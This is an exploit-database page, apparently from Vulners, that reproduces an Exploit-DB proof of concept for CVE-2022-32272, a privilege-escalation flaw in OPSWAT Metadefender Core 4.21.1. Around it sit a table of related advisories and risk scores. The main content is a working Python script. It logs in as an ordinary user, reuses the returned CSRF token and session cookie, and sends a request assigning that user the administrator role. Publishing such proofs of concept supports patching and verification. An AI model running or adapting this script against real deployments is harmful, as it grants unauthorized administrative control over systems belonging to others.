Lucene search
K

OPSWAT Metadefender Core - Privilege Escalation

🗓️ 28 Mar 2023 00:00:00Reported by Ulascan YildirimType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 166 Views

OPS Metadefender Core Privilege Escalation CVE-2022-32272 Exploi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
OPSWAT Metadefender Core - Privilege Escalation Exploit
28 Mar 202300:00
zdt
ATTACKERKB
CVE-2022-32272
9 Jun 202215:15
attackerkb
Circl
CVE-2022-32272
9 Jun 202218:33
circl
CNNVD
OPSWAT MetaDefender Core 安全漏洞
9 Jun 202200:00
cnnvd
CVE
CVE-2022-32272
9 Jun 202200:00
cve
Cvelist
CVE-2022-32272
9 Jun 202200:00
cvelist
NVD
CVE-2022-32272
9 Jun 202215:15
nvd
Packet Storm
OPSWAT Metadefender Core 4.21.1 Privilege Escalation
28 Mar 202300:00
packetstorm
Prion
Privilege escalation
9 Jun 202215:15
prion
Positive Technologies
PT-2022-21197 · Opswat · Opswat Metadefender Core +2
9 Jun 202200:00
ptsecurity
Rows per page
# Exploit Title: OPSWAT Metadefender Core - Privilege Escalation
# Date: 24 October 2022
# Exploit Author: Ulascan Yildirim
# Vendor Homepage: https://www.opswat.com/
# Version: Metadefender Core 4.21.1
# Tested on: Windows / Linux
# CVE : CVE-2022-32272
# =============================================================================
# This is a PoC for the Metadefender Core Privilege escalation vulnerability.
# To use this PoC, you need a Username & Password.
# The OMS_CSRF_TOKEN allows users to execute commands with higher privileges.
# =============================================================================

#!/usr/bin/env python3
import requests
import json
from getpass import getpass

url = input("Enter URL in this Format (http://website.com): ")
username = input("Username: ")
password = getpass("Password: ")

url_login = url+'/login'
url_user = url+'/user'
logindata = {"user":username,"password":password}

## Get the OMS_CSRF_TOKEN & session cookie
response_login = requests.post(url_login, json = logindata).json()
json_str = json.dumps(response_login)
resp = json.loads(json_str)
token = resp['oms_csrf_token']
session = resp['session_id']

## Prepare Header & Cookie
headers = {
    "oms_csrf_token": token,
}
cookie = {
    "session_id_ometascan": session
}

## Set Payload to get Admin role
payload = '{"roles": ["1"]}'

response = requests.put(url_user,headers=headers,cookies=cookie,data=payload)
print("Response status code: "+str(response.status_code))

if response.status_code == 200:
    print("Expolit Successful!")
else:
    print("Exploit Unsuccessful")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Mar 2023 00:00Current
9.7High risk
Vulners AI Score9.7
CVSS 27.5
CVSS 3.19.8
EPSS0.21198
166